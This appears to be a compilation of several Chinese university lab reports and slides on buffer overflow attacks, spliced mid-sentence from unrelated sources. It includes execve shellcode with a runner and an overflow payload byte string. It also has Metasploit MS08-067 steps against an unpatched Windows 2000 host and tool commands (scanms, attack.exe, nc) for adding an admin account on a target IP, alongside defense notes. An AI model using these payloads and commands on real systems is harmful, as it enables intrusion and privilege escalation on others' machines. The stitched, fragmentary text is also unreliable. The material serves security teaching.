缓冲区溢出攻击实验报告_林凯杰_30601340
缓冲区溢出攻击
网络攻防对抗实验报告实验名称:缓冲区溢出攻击实验类型:验证型实验指导老师:专业班级:姓名:学号:电子邮件:实验地点:实验日期:年月日实验成绩:一、实验目的通过该实验,认识到缓冲区溢出攻击的原理和危害,建立关注操作系统和应用程序漏洞和升级服务的意识。
通过本次实验,了解缓冲区溢出攻击原理,掌握缓冲区溢出攻击的方法和策略。
二、实验内容1、使用缓冲区溢出攻击工具MS08067对目标主机进行缓冲区溢出攻击三、实验步骤1、在控制台窗口中直接输入命令对目标主机:10.11.1.148进行攻击攻击结果:攻击失败失败原因:目标主机防火墙未关闭2、在控制台窗口中直接输入命令对目标主机:10.11.1.142进行攻击攻击结果:攻击失败失败原因:目标主机已打补丁四、课后作业1、写出实验任务的步骤答:实验任务步骤:1、首先使用缓冲区溢出攻击工具对目标主机进行攻击2、当攻击成功后,使用telnet命令连接目标主机3.、连接目标主机,添加用户4、对刚才添加的用户进行提权2、如何防范缓冲区溢出攻击?1)、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;2)、强制写正确的代码的方法;3)、利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。
4)、在程序指针失效前进行完整性检查五、实验体会1、缓冲区溢出攻击方法原理:缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。
溢出的数据覆盖在合法数据上。
当一个超长的数据进入到缓冲区时,超出部分就会被写入其他缓冲区,其他缓冲区存放的可能是数据、下一条指令的指针,或者是其他程序的输出内容,这些内容都被覆盖或者破坏掉。
这就为缓冲区溢出攻击提供了理论依据。
2、产生缓冲区溢出攻击原因:缓冲区溢出是由编程错误引起的。
如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生。
缓冲区边界检查被认为是不会有收益的管理支出,计算机资源不够或者内存不足是编程者不编写缓冲区边界检查语句的理由,然而摩尔定律已经使这一理由失去了存在的基础,但是多数用户仍然在主要应用中运行十年甚至二十年前的程序代码。
缓冲区溢出
"\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */;int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( ); } 这段 shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推 入栈,这是因为我们在这里需要一个 32 位的数字而“/sh”只有 24 位。幸运的 是,“//”和 “/”等价,所以我们使用“//”对程序也没什么影响,而且起到补 位作用。第二,在调用 execve()之前,我们需要分别存储 name[0](串地址), name(列地址)和 NULL 至%ebx, %ecx,和%edx 寄存器。第 5 将 name[0]存 储%ebx;第 8 行将 name 存储到%ecx; 第 9 行将%edx 设为 0;还有其它方法可 以设%edx 为 0(如 xorl %edx, %edx)。这里用的(cdql)指令只是较为简短。第 三,当我们将%al 设为 11 时调用了 system callexecve(),并执行了“int $0x80”。
2.4 任务 1:攻击漏洞
我们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为 “badfile”创建内容。代码中,shell code 已经给出,你需要完成其余部分。 /* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>
实验4 缓冲区溢出攻击实验
深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:计算机科学与技术指导教师:罗秋明报告人:实验时间:2016年5月8日实验报告提交时间:2016年5月22日教务处制一、实验目标:1.理解程序函数调用中参数传递机制;2.掌握缓冲区溢出攻击方法;3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:1.计算机(Intel CPU)2.Linux64位操作系统(CentOs)3.GDB调试工具4.objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果步骤1 返回到smoke()1.1 解题思路首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
linux下的缓冲区溢出
计算机科学与技术学院 计算机科学与技术学院
linux系统下的缓冲区溢出攻击实验 信息安全技术
1. 2. 3. 编写具有缓冲区溢出漏洞的程序 获得shell code 编写测试缓冲区溢出的程序
计算机科学与技术学院 计算机科学与技术学院
编写具有缓冲区溢出漏洞的程序
vulnerable1.c
#include<string.h> #include<ctype.h>
dmy(len:18)=Overflow test data
信息安全技术
缓冲区攻击的原理
1. 函数调用与堆栈的关系 2. 利用堆栈溢出运行shell
计算机科学与技术学院 计算机科学与技术学院
信息安全技术 函数调用与堆栈的关系 在一次函数调用中,堆栈中被依次压入参数和返 回地址。如果函数有局部变量,则局部变量在堆 栈中分配。函数结束时,恢复堆栈到函数调用的 地址,弹出返回地址到EIP以继续执行程序。
信息安全技术
linux下的缓冲区溢出
主讲人:裴士辉 e_mail: shihui_pei @
计算机科学与技术学院 计算机科学与技术学院
信息安全技术
缓冲区溢出攻击
Buffer Overflows 基本的思想 通过修改某些内存区域,把一段恶意代码存储到一个 buffer中,并且使这个buffer被溢出,以便当前进程被 非法利用(执行这段恶意的代码)
/* .string \"/bin/sh\" */
信息安全技术 利用堆栈溢出获得shell 要利用目标程序vulnerable1.c的堆栈溢出漏洞获 得shell, 首先要利用一个数组来存放shellcode, 将shellcode作为参数传给目标程序,目标程序 在调用strcpy时把shellcode拷贝到堆栈中。同 时,在传递shellcode时,还必须传递指向 shellcode的地址,用指向shellcode的地址来覆 盖堆栈中函数的返回地址。
缓冲区溢出攻击与防范实验报告
实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。
显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
(完整word版)缓冲区溢出攻击实验报告
缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。
攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。
2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。
3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。
实验步骤与调试过程:1.RPC漏洞出。
首先调用RPC(Remote Procedure Call)。
当系统启动的时候,自动加载RPC服务。
可以在服务列表中看到系统的RPC服务。
利用RPC漏洞建立超级用户。
首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。
点击开始>运行>在运行中输入cmd>确定。
进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。
检查漏洞。
2.检查缓冲区溢出漏洞。
利用工具软件attack.exe对172.18.25.109进行攻击。
在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。
3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。
进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。
出现攻击成功地提示对话框。
4.利用工具软件nc.exe连接到该端口。
进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出攻击实验报告
网络攻防对抗实验报告实验名称:缓冲区溢出攻击(实验六)指导教师:专业班级:姓名:学号: _____电子邮件: ___ 实验地点: _ 实验日期:实验成绩:____________________一、实验目的1. 了解缓冲区溢出攻击的原理和危害;2.掌握缓冲区溢出攻击的方法和对策。
二、实验原理1.缓冲区概念缓冲区是内存中存放数据的地方。
在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root 特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。
一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。
缓冲区类似于一个杯子,写入的数据类似于倒入的水。
缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。
缓冲区溢出攻击的分析及防范策略
缓冲区溢出攻击的分析及防范策略系别:计算机科学系班级:网络工程姓名:姚康平学号:3111101157指导教师:乐丁惕时间:2014-11-29目录1、缓冲区溢出攻击简介……………………………….2、缓冲区溢出攻击原理……………………………….3、缓冲区溢出攻击问题……………………………….4、缓冲区溢出攻击危害………………………………..5、缓冲区溢出攻击防范方法……………………………6、缓冲区溢出攻击相关对策…………………………..7、参考文献……………………………………………...一、缓冲区溢出攻击简介缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。
理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。
但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。
二、缓冲区溢出攻击原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
例如下面程序:void function(char *str) {char buffer[16]; strcpy(buffer,str);}上面的strcpy()将直接把str中的内容copy到buffer中。
这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。
存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现分段错误(Segmentation fault),而不能达到攻击的目的。
缓冲溢出攻击实验报告
一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。
2. 掌握缓冲区溢出攻击的实验方法和步骤。
3. 理解缓冲区溢出攻击的危害性。
4. 学习防范和避免缓冲区溢出攻击的方法。
二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。
三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。
2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。
3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。
四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。
- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。
2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。
- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。
- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。
- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。
- 使用`exploit`命令启动攻击,等待攻击成功。
3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。
- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。
- 边界检查:在代码中添加边界检查,防止缓冲区溢出。
- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。
缓冲区溢出攻击实验
if(argc!=2) { printf("Usage: server.exe [port]\n"); return 0; } int port = atoi(argv[1]); SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sListen == INVALID_SOCKET) { printf("Failed socket()\n"); return 0; } sockaddr_in sin; sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = INADDR_ANY;
int nRecv = ::recv(sClient, buff, sizeof(buff), 0); if (nRecv > 0) { buff[nRecv] = '\0'; ::closesocket(sClient); break; } }
::closesocket(sListen); showcontent(buff); return 0; }
(sockaddr
sizeof(buff), 0);
char toSend[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x12\x45\xfa\x7f" "\x55\x8b\xec" "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\ xc6\x45" "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\ x54\xc6"
缓冲区溢出攻击
5.6 实验内容演示
简单的缓冲区溢出代码演示 Ms05039正向和反向溢出工具的使用 溢出后的提权、设置后门等操作
7
实验要求
实验基本要求
了解缓冲区溢出的原理 掌握缓冲区溢出攻击的方法,能够使用Ms05039正 向和反向溢出工具进行攻击 掌握缓冲区溢出攻击对策
提高要求
能够分析、编写简单的网络溢出程序
8
5.8 实验总结与思考
分析在实验过程中发现的典型问题 实验思考:
为什么需要及时的对Windows操作系统进行升 级? 缓冲区溢出攻击的危害有哪些? 有哪些措施可以对抗缓冲区溢出攻击?
9
谢谢!
10
4
5.4 实验内容
远程溢出服务端程序及溢出程序的编译及 测试 Ms05039正向溢出、反向溢出及nc的使用 溢出后的提权
5
5.5 相关知识
缓冲区溢出的原理 缓冲区溢出的利用 防范缓冲区溢出的一般方法
关闭不需要端口和服务 安装厂商的补丁或安装软件的最新版本 检查关键程序 以需要的最少的权限运行软件
实验五 缓冲区溢出攻击
孙海峰 sunhaifeng@
1
5.1 实验类型
验证型,2学时,必选实验
2
5.2 实验目的
理解缓冲区溢出攻击原理及其危害 掌握远程溢出工具的使用及入侵后建账号、 提权的方法 理解缓冲区溢出攻击的防御方法
3
5.3 实验设备
主流配置PC windows2000 SP4操作系统 网络环境 ms05039远程溢出工具
缓冲区溢出的攻击及其保护
缓冲区溢出的攻击及其保护魏强1张宏伟2王清贤‘1信息工程大学信息安全学院时络工程系,郑j{{,4500022河南省周口市人民银行科技科.周口.460000E.mail:.f.m...m....v..w....e..i.(.岔...,.2..6..3.....n.—e—t摘要在过去的十多年中,以缓冲区溢出为特征的安全漏洞是最为常见的一种形式。
更为严重的是,缓冲区溢出攻击可以使得一个匿名的Intca-nvt用户轻易获得一台主机的部分或全部控制权j本文对缓冲区溢出产生的原理进行了详细的阐述.分析了目前缓冲区溢出攻击采用的几种技术,并对缓冲区溢出的保护傲了概要介绍。
关键词缓冲区溢出堆栈堆5"hcJJ口ode周络攻击一:前言缓冲区溢出的威胁在1988年开始引起人们的广泛注意.因为当时发生了著名的网络蠕虫事件.但十多年过去了,目前缓冲区溢出仍是一类很严重而且报有效的攻击手段。
这种攻击的威胁性体现在一个匿名的interact用户可以轻而易举地获得一台主机的部分或全部控制权l同时,这种攻击还具有广泛性的特点,几乎所有的大型软件都有这样的漏洞,甚至是操作系统的内核程序。
考查缓冲区溢出为什么会成为远程攻击的主要手段之一,其原困在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并执行攻击代码.被植八的攻击代码以一定的权限运行在有缓冲区溢出漏洞的程序里,攻击者可以通过构造恶意代码来达到获得被攻击主机的控制权.在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出.在1999年CERT的13份建议中.有9份是与缓冲区溢出.有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。
在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏}F提:一个报严重的安全问题.C程序的缓冲区溢出问题早在70年代初被认为是C语言数据完整性模・型一个可能的后果.这是因为当初始化,拷贝或移动数据时,C语言并不自动的支持内在的边界检查。
缓冲区溢出攻防
缓冲区溢出攻防局部变量下载源代码很久以来,在人们心目中,“黑客”和病毒作者的身上总是笼罩着一层神秘的光环,他们被各种媒体描述成技术高手甚至技术天才,以至于有些人为了证明自己的“天才”身份而走上歧途,甚至违法犯罪。
记得不久前就看到过这样一个案例:一位计算机专业研究生入侵了一家商业网站并删除了所有数据。
当他在狱中接受记者的采访时,他非常自豪地说这样做只是为了证明自己和获得那种成就感。
本文讨论的缓冲区溢出攻击实际上是一项非常“古老”的技术,但它的破坏力依然不可小视——相信大家都还没有忘记几个月之前的“冲击波”。
文中的代码实例几乎就是一个真实的病毒了,其中的一些技术你可能没有见过,但我可以很负责任的说它没有使用任何高深的技术,我没有进ring0,没有写设备驱动,甚至连汇编代码也只用了非常简单的11句。
我希望此文能让大家重新认识一下“黑客”和病毒作者,把他们从神坛上“拉”下来。
我更要提醒大家把那位“研究生”作为前车之鉴,不要滥用这项技术,否则必将玩火自焚。
下面就进入正题。
什么是缓冲区溢出你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度,会发生什么呢?对,源字符串中多余的字符会覆盖掉进程的其它数据。
这种现象就叫缓冲区溢出。
根据被覆盖数据的位置的不同,缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。
而发生溢出后,进程可能的表现也有三种:一是运行正常,这时,被覆盖的是无用数据,并且没有发生访问违例;二是运行出错,包括输出错误和非法操作等;第三种就是受到攻击,程序开始执行有害代码,此时,哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。
一般情况下,静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。
而栈上的漏洞则具有极大的危险性,所以我们的讲解也以栈上的缓冲区溢出为例。
攻击原理要进行攻击,先得找到靶子。
所以我就准备了一个叫做“victim”的程序作为被攻击对象,它在逻辑上等价于下面的代码:void GetComputerName(SOCKET sck, LPSTR szComputer){char szBuf[512];recv(sck, szBuf, sizeof(szBuf), 0);LPSTR szFileName = szBuf;while((*szFileName) == ''\\'')szFileName++;while((*szFileName) != ''\\'' && (*szFileName) != ''\0''){*szComputer = *szFileName;szComputer++;szFileName++;}*szComputer = ''\0'';}void ShowComputerName(SOCKET sck){char szComputer[16];GetComputerName(sck, szComputer);// mov ecx,dword ptr [esp+4]// sub esp,10h; ———②// lea eax,[esp]// push eax// push ecx// call GetComputerName (401000h)printf(szComputer);// lea edx,[esp]// push edx// call printf (401103h)}// add esp,14h// ret 4; ———③int __cdecl main(int argc, char* argv[]){WSADATA wsa;WSAStartup(MAKEWORD(2,2), &wsa);struct sockaddr_in saServer;saServer.sin_family = AF_INET;saServer.sin_port = 0xA05B; //htons(23456)saServer.sin_addr.s_addr=ADDR_ANY;SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bind(sckListen, (sockaddr *)&saServer, sizeof(saServer));listen(sckListen, 2);SOCKET sckClient = accept(sckListen, NULL, NULL);// ———① ShowComputerName(sckClient);closesocket(sckClient);closesocket(sckListen);WSACleanup();return 0;}victim程序的本意是从网络上接收一个UNC(Universal Naming Convention)形式的文件名,然后从中分离出机器名并打印在屏幕上。
缓冲区溢出攻击与防范实验报告
实验六报告图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console,即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script=smb-check-vulns.nse 192.168.56.101。
namap扫描的结果里报告发现MS08-067:DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。
在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。
防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
缓冲区溢出攻击与防范实验报告
缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出攻击
缓冲区溢出攻击网络安全实验报告实验名称:缓冲区溢出攻击姓名:王嘉琳学号:090342228指导教师:付宇一、实验目的1.了解缓冲区溢出攻击的现象2.掌握使用缓冲区溢出攻击工具的方法二、实验环境系统环境:Windows网络环境:交换网络结构实验工具:ms06035漏洞利用工具、ms08025漏洞利用工具、ms06063补丁、ms08025补丁三、实验实际完成内容及结果分析利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。
2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:上图中标注的“ms06035.exe”即为ms06035漏洞攻击工具。
3.查看“ms06035工具”的使用方法主机A执行“ms06035.exe”命令,提示ms06035漏洞利用工具的使用方法,如下图所示:4.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip445”命令,发起对主机B的攻击。
5.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。
利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。
「注」将“C:\ExpNIS\NetAD-Lab\Tools\OverFlow\RemoteOverflow”目录下的“ms08025.exe”复制到D盘的根目录下,以便实验下一步进行。
1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,登录账号为“student”,密码为“123456”,登录成功如下图。
(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。
2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:请解释出现上述现象的原因:当前用户为普通用户,普通用户没有添加用户的权限。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
缓冲区溢出攻击实验【实验要求】1)基本要求:编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。
语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。
并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。
分析并解释缓冲区溢出的原因。
提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。
2)提高要求:在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。
例:一个简单的shellcode程序:/* linux下的一个程序*/#include <stdio.h>void main() {char *name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode[]="\xeb\xlf.......\bin\sh";然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用strcpy等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
1、局部变量与堆栈的关系在一个程序中,会声明各种变量。
静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。
如果局部变量使用不当,会造成缓冲区溢出漏洞。
例如,以下程序将命令行的第1个参数拷贝到buffer局部变量中。
